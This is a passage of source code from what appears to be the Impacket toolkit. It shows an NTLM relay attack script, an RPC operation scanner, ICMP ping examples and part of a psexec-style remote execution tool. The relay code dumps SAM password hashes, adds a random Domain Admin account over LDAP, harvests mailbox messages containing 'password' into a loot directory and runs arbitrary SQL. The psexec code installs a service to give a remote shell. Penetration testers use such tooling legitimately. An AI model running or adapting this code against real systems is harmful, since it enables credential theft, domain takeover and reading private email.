remoteOps = RemoteOperations(self.__SMBConnection, False)
remoteOps.enableRegistry()
except Exception, e:
# Something wen't wrong, most probably we don't have access as admin. aborting
logging.error(str(e))
return
try:
if self.config.command is not None:
remoteOps._RemoteOperations__executeRemote(self.config.command)
logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
self.__answerTMP = ''
self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
print self.__answerTMP.decode(self.config.encoding, 'replace')
else:
bootKey = remoteOps.getBootKey()
remoteOps._RemoteOperations__serviceDeleted = True
samFileName = remoteOps.saveSAM()
samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
samHashes.dump()
samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
except Exception, e:
logging.error(str(e))
finally:
if samHashes is not None:
samHashes.finish()
if remoteOps is not None:
remoteOps.finish()
#Define global variables to prevent dumping the domain twice
dumpedDomain = False
addedDomainAdmin = False
class LDAPAttack(Thread):
def __init__(self, config, LDAPClient, username):
Thread.__init__(self)
self.daemon = True
#Import it here because non-standard dependency
self.ldapdomaindump = __import__('ldapdomaindump')
self.client = LDAPClient
self.username = username.decode('utf-16le')
#Global config
self.config = config
def addDA(self, domainDumper):
global addedDomainAdmin
if addedDomainAdmin:
logging.error('DA already added. Refusing to add another')
return
#Random password
newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))
#Random username
newUser = ''.join(random.choice(string.ascii_letters) for _ in range(10))
ucd = {
'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root,
'distinguishedName': 'CN=%s,CN=Users,%s' % (newUser,domainDumper.root),
'cn': newUser,
'sn': newUser,
'givenName': newUser,
'displayName': newUser,
'name': newUser,
'userAccountControl': 512,
'accountExpires': 0,
'sAMAccountName': newUser,
'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')
}
res = self.client.connection.add('CN=%s,CN=Users,%s' % (newUser,domainDumper.root),['top','person','organizationalPerson','user'],ucd)
if not res:
logging.error('Failed to add a new user: %s' % str(self.client.connection.result))
else:
logging.info('Adding new user with username: %s and password: %s result: OK' % (newUser,newPassword))
domainsid = domainDumper.getRootSid()
dagroupdn = domainDumper.getDAGroupDN(domainsid)
res = self.client.connection.modify(dagroupdn, {
'member': [(self.client.MODIFY_ADD, ['CN=%s,CN=Users,%s' % (newUser, domainDumper.root)])]})
if res:
logging.info('Adding user: %s to group Domain Admins result: OK' % newUser)
logging.info('Domain Admin privileges aquired, shutting down...')
addedDomainAdmin = True
thread.interrupt_main()
else:
logging.error('Failed to add user to Domain Admins group: %s' % str(self.client.connection.result))
def run(self):
global dumpedDomain
#Set up a default config
domainDumpConfig = self.ldapdomaindump.domainDumpConfig()
#Change the output directory to configured rootdir
domainDumpConfig.basepath = self.config.lootdir
#Create new dumper object
domainDumper = self.ldapdomaindump.domainDumper(self.client.server, self.client.connection, domainDumpConfig)
if domainDumper.isDomainAdmin(self.username):
logging.info('User is a Domain Admin!')
if self.config.addda:
if 'ldaps' in self.client.target:
self.addDA(domainDumper)
else:
logging.error('Connection to LDAP server does not use LDAPS, to enable adding a DA specify the target with ldaps:// instead of ldap://')
else:
logging.info('Not adding a new Domain Admin because of configuration options')
else:
logging.info('User is not a Domain Admin')
if not dumpedDomain and self.config.dumpdomain:
#do this before the dump is complete because of the time this can take
dumpedDomain = True
logging.info('Dumping domain info for first time')
domainDumper.domainDump()
logging.info('Domain info dumped into lootdir!')
class HTTPAttack(Thread):
def __init__(self, config, HTTPClient, username):
Thread.__init__(self)
self.daemon = True
self.config = config
self.client = HTTPClient
self.username = username
def run(self):
#Default action: Dump requested page to file, named username-targetname.html
#You can also request any page on the server via self.client.session,
#for example with:
#result = self.client.session.get('http://secretserver/secretpage.html')
#print result.content
#Remove protocol from target name
safeTargetName = self.client.target.replace('http://','').replace('https://','')
#Replace any special chars in the target name
safeTargetName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', safeTargetName)
#Combine username with filename
fileName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username.decode('utf-16-le')) + '-' + safeTargetName + '.html'
#Write it to the file
with open(os.path.join(self.config.lootdir,fileName),'w') as of:
of.write(self.client.lastresult)
class IMAPAttack(Thread):
def __init__(self, config, IMAPClient, username):
Thread.__init__(self)
self.daemon = True
self.config = config
self.client = IMAPClient
self.username = username
def run(self):
#Default action: Search the INBOX for messages with "password" in the header or body
targetBox = self.config.mailbox
result, data = self.client.session.select(targetBox,True) #True indicates readonly
if result != 'OK':
logging.error('Could not open mailbox %s: %s' % (targetBox,data))
logging.info('Opening mailbox INBOX')
targetBox = 'INBOX'
result, data = self.client.session.select(targetBox,True) #True indicates readonly
inboxCount = int(data[0])
logging.info('Found %s messages in mailbox %s' % (inboxCount,targetBox))
#If we should not dump all, search for the keyword
if not self.config.dump_all:
result, rawdata = self.client.session.search(None,'OR','SUBJECT','"%s"' % self.config.keyword,'BODY','"%s"' % self.config.keyword)
#Check if search worked
if result != 'OK':
logging.error('Search failed: %s' % rawdata)
return
dumpMessages = []
#message IDs are separated by spaces
for msgs in rawdata:
dumpMessages += msgs.split(' ')
if self.config.dump_max != 0 and len(dumpMessages) > self.config.dump_max:
dumpMessages = dumpMessages[:self.config.dump_max]
else:
#Dump all mails, up to the maximum number configured
if self.config.dump_max == 0 or self.config.dump_max > inboxCount:
dumpMessages = range(1,inboxCount+1)
else:
dumpMessages = range(1,self.config.dump_max+1)
numMsgs = len(dumpMessages)
if numMsgs == 0:
logging.info('No messages were found containing the search keywords')
else:
logging.info('Dumping %d messages found by search for "%s"' % (numMsgs,self.config.keyword))
for i,msgIndex in enumerate(dumpMessages):
#Fetch the message
result, rawMessage = self.client.session.fetch(msgIndex, '(RFC822)')
if result != 'OK':
logging.error('Could not fetch message with index %s: %s' % (msgIndex,rawMessage))
continue
#Replace any special chars in the mailbox name and username
mailboxName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', targetBox)
textUserName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username.decode('utf-16-le'))
#Combine username with mailboxname and mail number
fileName = 'mail_' + textUserName + '-' + mailboxName + '_' + str(msgIndex) + '.eml'
#Write it to the file
with open(os.path.join(self.config.lootdir,fileName),'w') as of:
of.write(rawMessage[0][1])
logging.info('Done fetching message %d/%d' % (i+1,numMsgs))
#Close connection cleanly
self.client.session.logout()
class MSSQLAttack(Thread):
def __init__(self, config, MSSQLClient):
Thread.__init__(self)
self.config = config
self.client = MSSQLClient
def run(self):
if self.config.queries is None:
logging.error('No SQL queries specified for MSSQL relay!')
else:
for query in self.config.queries:
logging.info('Executing SQL: %s' % query)
self.client.sql_query(query)
self.client.printReplies()
self.client.printRows()
# Process command-line arguments.
if __name__ == '__main__':
RELAY_SERVERS = ( SMBRelayServer, HTTPRelayServer )
ATTACKS = { 'SMB': SMBAttack, 'LDAP': LDAPAttack, 'HTTP': HTTPAttack, 'MSSQL': MSSQLAttack, 'IMAP': IMAPAttack}
# Init the example's logger theme
logger.init()
print version.BANNER
#Parse arguments
parser = argparse.ArgumentParser(add_help = False, description = "For every connection received, this module will "
"try to relay that connection to specified target(s) system or the original client")
parser._optionals.title = "Main options"
#Main arguments
parser.add_argument("-h","--help", action="help", help='show this help message and exit')
parser.add_argument('-t',"--target", action='store', metavar = 'TARGET', help='Target to relay the credentials to, '
'can be an IP, hostname or URL like smb://server:445 If unspecified, it will relay back to the client')
parser.add_argument('-tf', action='store', metavar = 'TARGETSFILE', help='File that contains targets by hostname or '
'full URL, one per line')
parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list '
'automatically (only valid with -tf)')
parser.add_argument('-i','--interactive', action='store_true',help='Launch an smbclient/mssqlclient console instead'
'of executing a command after a successful relay. This console will listen locally on a '
' tcp port and can be reached with for example netcat.')
parser.add_argument('-ra','--random', action='store_true', help='Randomize target selection (HTTP server only)')
parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER')
parser.add_argument('-l','--lootdir', action='store', type=str, required=False, metavar = 'LOOTDIR',default='.', help='Loot '
'directory in which gathered loot such as SAM dumps will be stored (default: current directory).')
parser.add_argument('-of','--output-file', action='store',help='base output filename for encrypted hashes. Suffixes '
'will be added for ntlm and ntlmv2')
parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
'"%s"). If errors are detected, run chcp.com at the target, '
'map the result with '
'https://docs.python.org/2.4/lib/standard-encodings.html and then execute wmiexec.py '
'again with -codec and the corresponding codec ' % sys.getdefaultencoding())
parser.add_argument('-machine-account', action='store', required=False, help='Domain machine account to use when '
'interacting with the domain to grab a session key for signing, format is domain/machine_name')
parser.add_argument('-machine-hashes', action="store", metavar = "LMHASH:NTHASH", help='Domain machine hashes, format is LMHASH:NTHASH')
parser.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON')
#SMB arguments
smboptions = parser.add_argument_group("SMB client options")
smboptions.add_argument('-e', action='store', required=False, metavar = 'FILE', help='File to execute on the target system. '
'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)')
smboptions.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on '
'target system. If not specified, hashes will be dumped (secretsdump.py must be in the same '
'directory).')
#MSSQL arguments
mssqloptions = parser.add_argument_group("MSSQL client options")
mssqloptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute'
'(can specify multiple)')
#HTTP options (not in use for now)
# httpoptions = parser.add_argument_group("HTTP client options")
# httpoptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute'
# '(can specify multiple)')
#LDAP options
ldapoptions = parser.add_argument_group("LDAP client options")
ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information')
ldapoptions.add_argument('--no-da', action='store_false', required=False, help='Do not attempt to add a Domain Admin')
#IMAP options
imapoptions = parser.add_argument_group("IMAP client options")
imapoptions.add_argument('-k','--keyword', action='store', metavar="KEYWORD", required=False, default="password", help='IMAP keyword to search for. '
'If not specified, will search for mails containing "password"')
imapoptions.add_argument('-m','--mailbox', action='store', metavar="MAILBOX", required=False, default="INBOX", help='Mailbox name to dump. Default: INBOX')
imapoptions.add_argument('-a','--all', action='store_true', required=False, help='Instead of searching for keywords, '
'dump all emails')
imapoptions.add_argument('-im','--imap-max', action='store',type=int, required=False,default=0, help='Max number of emails to dump '
'(0 = unlimited, default: no limit)')
try:
options = parser.parse_args()
except Exception, e:
logging.error(str(e))
sys.exit(1)
if options.codec is not None:
codec = options.codec
else:
codec = sys.getdefaultencoding()
if options.target is not None:
logging.info("Running in relay mode to single host")
mode = 'RELAY'
targetSystem = TargetsProcessor(singletarget=options.target)
else:
if options.tf is not None:
#Targetfile specified
logging.info("Running in relay mode to hosts in targetfile")
targetSystem = TargetsProcessor(targetlistfile=options.tf)
mode = 'RELAY'
else:
logging.info("Running in reflection mode")
targetSystem = None
mode = 'REFLECTION'
if options.r is not None:
logging.info("Running HTTP server in redirect mode")
if targetSystem is not None and options.w:
watchthread = TargetsFileWatcher(targetSystem)
watchthread.start()
for server in RELAY_SERVERS:
#Set up config
c = NTLMRelayxConfig()
c.setTargets(targetSystem)
c.setExeFile(options.e)
c.setCommand(options.c)
c.setEncoding(codec)
c.setMode(mode)
c.setAttacks(ATTACKS)
c.setLootdir(options.lootdir)
c.setOutputFile(options.output_file)
c.setLDAPOptions(options.no_dump,options.no_da)
c.setMSSQLOptions(options.query)
c.setInteractive(options.interactive)
c.setIMAPOptions(options.keyword,options.mailbox,options.all,options.imap_max)
#If the redirect option is set, configure the HTTP server to redirect targets to SMB
if server is HTTPRelayServer and options.r is not None:
c.setMode('REDIRECT')
c.setRedirectHost(options.r)
#Use target randomization if configured and the server is not SMB
#SMB server at the moment does not properly store active targets so selecting them randomly will cause issues
if server is not SMBRelayServer and options.random:
c.setRandomTargets(True)
if options.machine_account is not None and options.machine_hashes is not None and options.domain is not None:
c.setDomainAccount( options.machine_account, options.machine_hashes, options.domain)
elif (options.machine_account is None and options.machine_hashes is None and options.domain is None) is False:
logging.error("You must specify machine-account/hashes/domain all together!")
sys.exit(1)
s = server(c)
s.start()
print ""
logging.info("Servers started, waiting for connections")
while True:
try:
sys.stdin.read()
except KeyboardInterrupt:
sys.exit(1)
else:
pass

View File

@@ -0,0 +1,77 @@
#!/usr/bin/env python
"""opdump - scan for operations on a given DCERPC interface
Usage: opdump.py hostname port interface version
This binds to the given hostname:port and DCERPC interface. Then, it tries to
call each of the first 256 operation numbers in turn and reports the outcome
of each call.
This will generate a burst of TCP connections to the given host:port!
Example:
$ ./opdump.py 10.0.0.30 135 99FCFEC4-5260-101B-BBCB-00AA0021347A 0.0
op 0 (0x00): rpc_x_bad_stub_data
op 1 (0x01): rpc_x_bad_stub_data
op 2 (0x02): rpc_x_bad_stub_data
op 3 (0x03): success
op 4 (0x04): rpc_x_bad_stub_data
ops 5-255: nca_s_op_rng_error
rpc_x_bad_stub_data, rpc_s_access_denied, and success generally means there's an
operation at that number.
Author: Catalin Patulea <cat@vv.carleton.ca>
"""
import sys
from impacket.examples import logger
from impacket import uuid
from impacket.dcerpc.v5 import transport
def main(args):
if len(args) != 4:
print "usage: opdump.py hostname port interface version"
return 1
host, port, interface, version = args[0], int(args[1]), args[2], args[3]
stringbinding = "ncacn_ip_tcp:%s" % host
trans = transport.DCERPCTransportFactory(stringbinding)
trans.set_dport(port)
results = []
for i in range(256):
dce = trans.get_dce_rpc()
dce.connect()
iid = uuid.uuidtup_to_bin((interface, version))
dce.bind(iid)
dce.call(i, "")
try:
dce.recv()
except Exception, e:
result = str(e)
else:
result = "success"
dce.disconnect()
results.append(result)
# trim duplicate suffixes from the back
suffix = results[-1]
while results and results[-1] == suffix:
results.pop()
for i, result in enumerate(results):
print "op %d (0x%02x): %s" % (i, i, result)
print "ops %d-%d: %s" % (len(results), 255, suffix)
if __name__ == "__main__":
# Init the example's logger theme
logger.init()
sys.exit(main(sys.argv[1:]))

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,87 @@
#!/usr/bin/env python
# Copyright (c) 2003 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Simple ICMP ping.
#
# This implementation of ping uses the ICMP echo and echo-reply packets
# to check the status of a host. If the remote host is up, it should reply
# to the echo probe with an echo-reply packet.
# Note that this isn't a definite test, as in the case the remote host is up
# but refuses to reply the probes.
# Also note that the user must have special access to be able to open a raw
# socket, which this program requires.
#
# Authors:
# Gerardo Richarte <gera@coresecurity.com>
# Javier Kohen <jkohen@coresecurity.com>
#
# Reference for:
# ImpactPacket: IP, ICMP, DATA.
# ImpactDecoder.
import select
import socket
import time
import sys
from impacket import ImpactDecoder, ImpactPacket
if len(sys.argv) < 3:
print "Use: %s <src ip> <dst ip>" % sys.argv[0]
sys.exit(1)
src = sys.argv[1]
dst = sys.argv[2]
# Create a new IP packet and set its source and destination addresses.
ip = ImpactPacket.IP()
ip.set_ip_src(src)
ip.set_ip_dst(dst)
# Create a new ICMP packet of type ECHO.
icmp = ImpactPacket.ICMP()
icmp.set_icmp_type(icmp.ICMP_ECHO)
# Include a 156-character long payload inside the ICMP packet.
icmp.contains(ImpactPacket.Data("A"*156))
# Have the IP packet contain the ICMP packet (along with its payload).
ip.contains(icmp)
# Open a raw socket. Special permissions are usually required.
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
seq_id = 0
while 1:
# Give the ICMP packet the next ID in the sequence.
seq_id += 1
icmp.set_icmp_id(seq_id)
# Calculate its checksum.
icmp.set_icmp_cksum(0)
icmp.auto_checksum = 1
# Send it to the target host.
s.sendto(ip.get_packet(), (dst, 0))
# Wait for incoming replies.
if s in select.select([s],[],[],1)[0]:
reply = s.recvfrom(2000)[0]
# Use ImpactDecoder to reconstruct the packet hierarchy.
rip = ImpactDecoder.IPDecoder().decode(reply)
# Extract the ICMP packet from its container (the IP packet).
ricmp = rip.child()
# If the packet matches, report it to the user.
if rip.get_ip_dst() == src and rip.get_ip_src() == dst and icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type():
print "Ping reply for sequence #%d" % ricmp.get_icmp_id()
time.sleep(1)

View File

@@ -0,0 +1,82 @@
#!/usr/bin/env python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Simple ICMP6 ping.
#
# This implementation of ping uses the ICMP echo and echo-reply packets
# to check the status of a host. If the remote host is up, it should reply
# to the echo probe with an echo-reply packet.
# Note that this isn't a definite test, as in the case the remote host is up
# but refuses to reply the probes.
# Also note that the user must have special access to be able to open a raw
# socket, which this program requires.
#
# Authors:
# Alberto Solino (@agsolino)
#
# Reference for:
# ImpactPacket: ICMP6
# ImpactDecoder.
import select
import socket
import time
import sys
from impacket import ImpactDecoder, ImpactPacket, IP6, ICMP6, version
print version.BANNER
if len(sys.argv) < 3:
print "Use: %s <src ip> <dst ip>" % sys.argv[0]
sys.exit(1)
src = sys.argv[1]
dst = sys.argv[2]
# Create a new IP packet and set its source and destination addresses.
ip = IP6.IP6()
ip.set_ip_src(src)
ip.set_ip_dst(dst)
ip.set_traffic_class(0)
ip.set_flow_label(0)
ip.set_hop_limit(64)
# Open a raw socket. Special permissions are usually required.
s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6)
payload = "A"*156
print "PING %s %d data bytes" % (dst, len(payload))
seq_id = 0
while 1:
# Give the ICMP packet the next ID in the sequence.
seq_id += 1
icmp = ICMP6.ICMP6.Echo_Request(1, seq_id, payload)
# Have the IP packet contain the ICMP packet (along with its payload).
ip.contains(icmp)
ip.set_next_header(ip.child().get_ip_protocol_number())
ip.set_payload_length(ip.child().get_size())
icmp.calculate_checksum()
# Send it to the target host.
s.sendto(icmp.get_packet(), (dst, 0))
# Wait for incoming replies.
if s in select.select([s],[],[],1)[0]:
reply = s.recvfrom(2000)[0]
# Use ImpactDecoder to reconstruct the packet hierarchy.
rip = ImpactDecoder.ICMP6Decoder().decode(reply)
# If the packet matches, report it to the user.
if ICMP6.ICMP6.ECHO_REPLY == rip.get_type():
print "%d bytes from %s: icmp_seq=%d " % (rip.child().get_size()-4,dst,rip.get_echo_sequence_number())
time.sleep(1)

View File

@@ -0,0 +1,486 @@
#!/usr/bin/env python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# PSEXEC like functionality example using RemComSvc (https://github.com/kavika13/RemCom)
#
# Author:
# beto (@agsolino)
#
# Reference for:
# DCE/RPC and SMB.
import sys
import os
import cmd
import logging
from threading import Thread, Lock
import argparse
import random
import string
import time
from impacket.examples import logger
from impacket import version, smb
from impacket.smbconnection import SMBConnection
from impacket.dcerpc.v5 import transport
from impacket.structure import Structure
from impacket.examples import remcomsvc, serviceinstall
class RemComMessage(Structure):
structure = (
('Command','4096s=""'),
('WorkingDir','260s=""'),
('Priority','<L=0x20'),
('ProcessID','<L=0x01'),
('Machine','260s=""'),
('NoWait','<L=0'),
)
class RemComResponse(Structure):
structure = (
('ErrorCode','<L=0'),
('ReturnCode','<L=0'),
)
RemComSTDOUT = "RemCom_stdout"
RemComSTDIN = "RemCom_stdin"
RemComSTDERR = "RemCom_stderr"
lock = Lock()
class PSEXEC:
def __init__(self, command, path, exeFile, copyFile, port=445,
username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None):
self.__username = username
self.__password = password
self.__port = port
self.__command = command
self.__path = path
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__exeFile = exeFile
self.__copyFile = copyFile
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def run(self, remoteName, remoteHost):
stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % remoteName
logging.debug('StringBinding %s'%stringbinding)
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(self.__port)
rpctransport.setRemoteHost(remoteHost)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
self.doStuff(rpctransport)
def openPipe(self, s, tid, pipe, accessMask):
pipeReady = False
tries = 50
while pipeReady is False and tries > 0:
try:
s.waitNamedPipe(tid,pipe)
pipeReady = True
except:
tries -= 1
time.sleep(2)
pass
if tries == 0:
logging.critical('Pipe not ready, aborting')
raise
fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80)
return fid
def doStuff(self, rpctransport):
dce = rpctransport.get_dce_rpc()
try:
dce.connect()
except Exception, e:
#import traceback
#traceback.print_exc()
logging.critical(str(e))
sys.exit(1)
global dialect
dialect = rpctransport.get_smb_connection().getDialect()
try:
unInstalled = False
s = rpctransport.get_smb_connection()
# We don't wanna deal with timeouts from now on.
s.setTimeout(100000)
if self.__exeFile is None:
installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc())
else:
try:
f = open(self.__exeFile)
except Exception, e:
logging.critical(str(e))
sys.exit(1)
installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f)
if installService.install() is False:
return
if self.__exeFile is not None:
f.close()
# Check if we need to copy a file for execution
if self.__copyFile is not None:
installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile))
# And we change the command to be executed to this filename
self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command
tid = s.connectTree('IPC$')
fid_main = self.openPipe(s,tid,'\RemCom_communicaton',0x12019f)
packet = RemComMessage()
pid = os.getpid()
packet['Machine'] = ''.join([random.choice(string.letters) for _ in range(4)])
if self.__path is not None:
packet['WorkingDir'] = self.__path
packet['Command'] = self.__command
packet['ProcessID'] = pid
s.writeNamedPipe(tid, fid_main, str(packet))
# Here we'll store the command we type so we don't print it back ;)
# ( I know.. globals are nasty :P )
global LastDataSent
LastDataSent = ''
# Create the pipes threads
stdin_pipe = RemoteStdInPipe(rpctransport,
'\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']),
smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, installService.getShare())
stdin_pipe.start()
stdout_pipe = RemoteStdOutPipe(rpctransport,
'\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']),
smb.FILE_READ_DATA)
stdout_pipe.start()
stderr_pipe = RemoteStdErrPipe(rpctransport,
'\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']),
smb.FILE_READ_DATA)
stderr_pipe.start()
# And we stay here till the end
ans = s.readNamedPipe(tid,fid_main,8)
if len(ans):
retCode = RemComResponse(ans)
logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % (
self.__command, retCode['ErrorCode'], retCode['ReturnCode']))
installService.uninstall()
if self.__copyFile is not None:
# We copied a file for execution, let's remove it
s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
unInstalled = True
sys.exit(retCode['ErrorCode'])
except SystemExit:
raise
except:
#import traceback
#traceback.print_exc()
if unInstalled is False:
installService.uninstall()
if self.__copyFile is not None:
s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile))
sys.stdout.flush()
sys.exit(1)
class Pipes(Thread):
def __init__(self, transport, pipe, permissions, share=None):
Thread.__init__(self)
self.server = 0
self.transport = transport
self.credentials = transport.get_credentials()
self.tid = 0
self.fid = 0
self.share = share
self.port = transport.get_dport()
self.pipe = pipe
self.permissions = permissions
self.daemon = True
def connectPipe(self):
try:
lock.acquire()
global dialect
#self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
self.server = SMBConnection(self.transport.get_smb_connection().getRemoteName(), self.transport.get_smb_connection().getRemoteHost(),
sess_port=self.port, preferredDialect=dialect)
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
if self.transport.get_kerberos() is True:
self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS)
else:
self.server.login(user, passwd, domain, lm, nt)
lock.release()
self.tid = self.server.connectTree('IPC$')
self.server.waitNamedPipe(self.tid, self.pipe)
self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80)
self.server.setTimeout(1000000)
except:
import traceback
traceback.print_exc()
logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)
class RemoteStdOutPipe(Pipes):
def __init__(self, transport, pipe, permisssions):
Pipes.__init__(self, transport, pipe, permisssions)
def run(self):
self.connectPipe()
while True:
try:
ans = self.server.readFile(self.tid,self.fid, 0, 1024)
except:
pass
else:
try:
global LastDataSent
if ans != LastDataSent:
sys.stdout.write(ans.decode('cp437'))
sys.stdout.flush()
else:
# Don't echo what I sent, and clear it up
LastDataSent = ''
# Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
# it will give false positives tho.. we should find a better way to handle this.
if LastDataSent > 10:
LastDataSent = ''
except:
pass
class RemoteStdErrPipe(Pipes):
def __init__(self, transport, pipe, permisssions):
Pipes.__init__(self, transport, pipe, permisssions)
def run(self):
self.connectPipe()
while True:
try:
ans = self.server.readFile(self.tid,self.fid, 0, 1024)
except:
pass
else:
try:
sys.stderr.write(str(ans))
sys.stderr.flush()
except:
pass
class RemoteShell(cmd.Cmd):
def __init__(self, server, port, credentials, tid, fid, share, transport):
cmd.Cmd.__init__(self, False)
self.prompt = '\x08'
self.server = server
self.transferClient = None
self.tid = tid
self.fid = fid
self.credentials = credentials
self.share = share
self.port = port
self.transport = transport
self.intro = '[!] Press help for extra shell commands'
def connect_transferClient(self):
#self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,
preferredDialect=dialect)
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
if self.transport.get_kerberos() is True:
self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey,
kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS)
else:
self.transferClient.login(user, passwd, domain, lm, nt)
def do_help(self, line):
print """
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s)
get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir
! {cmd} - executes a local shell cmd
""" % (self.share, self.share)
self.send_data('\r\n', False)
def do_shell(self, s):
os.system(s)
self.send_data('\r\n')
def do_get(self, src_path):
try:
if self.transferClient is None:
self.connect_transferClient()
import ntpath
filename = ntpath.basename(src_path)
fh = open(filename,'wb')
logging.info("Downloading %s\%s" % (self.share, src_path))
self.transferClient.getFile(self.share, src_path, fh.write)
fh.close()
except Exception, e:
logging.critical(str(e))
pass
self.send_data('\r\n')
def do_put(self, s):
try:
if self.transferClient is None:
self.connect_transferClient()
params = s.split(' ')
if len(params) > 1:
src_path = params[0]
dst_path = params[1]
elif len(params) == 1:
src_path = params[0]
dst_path = '/'
src_file = os.path.basename(src_path)
fh = open(src_path, 'rb')
f = dst_path + '/' + src_file
pathname = string.replace(f,'/','\\')
logging.info("Uploading %s to %s\%s" % (src_file, self.share, dst_path))
self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read)
fh.close()
except Exception, e:
logging.error(str(e))
pass
self.send_data('\r\n')
def do_lcd(self, s):
if s == '':
print os.getcwd()
else:
os.chdir(s)
self.send_data('\r\n')
def emptyline(self):
self.send_data('\r\n')
return
def default(self, line):
self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n')
def send_data(self, data, hideOutput = True):
if hideOutput is True:
global LastDataSent
LastDataSent = data
else:
LastDataSent = ''
self.server.writeFile(self.tid, self.fid, data)
class RemoteStdInPipe(Pipes):
def __init__(self, transport, pipe, permisssions, share=None):
self.shell = None
Pipes.__init__(self, transport, pipe, permisssions, share)
def run(self):
self.connectPipe()
self.shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.share, self.transport)
self.shell.cmdloop()
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "PSEXEC like functionality example using RemComSvc.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('command', nargs='*', default = ' ', help='command (or arguments if -c is used) to execute at '
'the target (w/o path) - (default:cmd.exe)')
parser.add_argument('-c', action='store',metavar = "pathname", help='copy the filename for later execution, '
'arguments are passed in the command option')
parser.add_argument('-path', action='store', help='path of the command to execute')
parser.add_argument('-file', action='store', help="alternative RemCom binary (be sure it doesn't require CRT)")
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
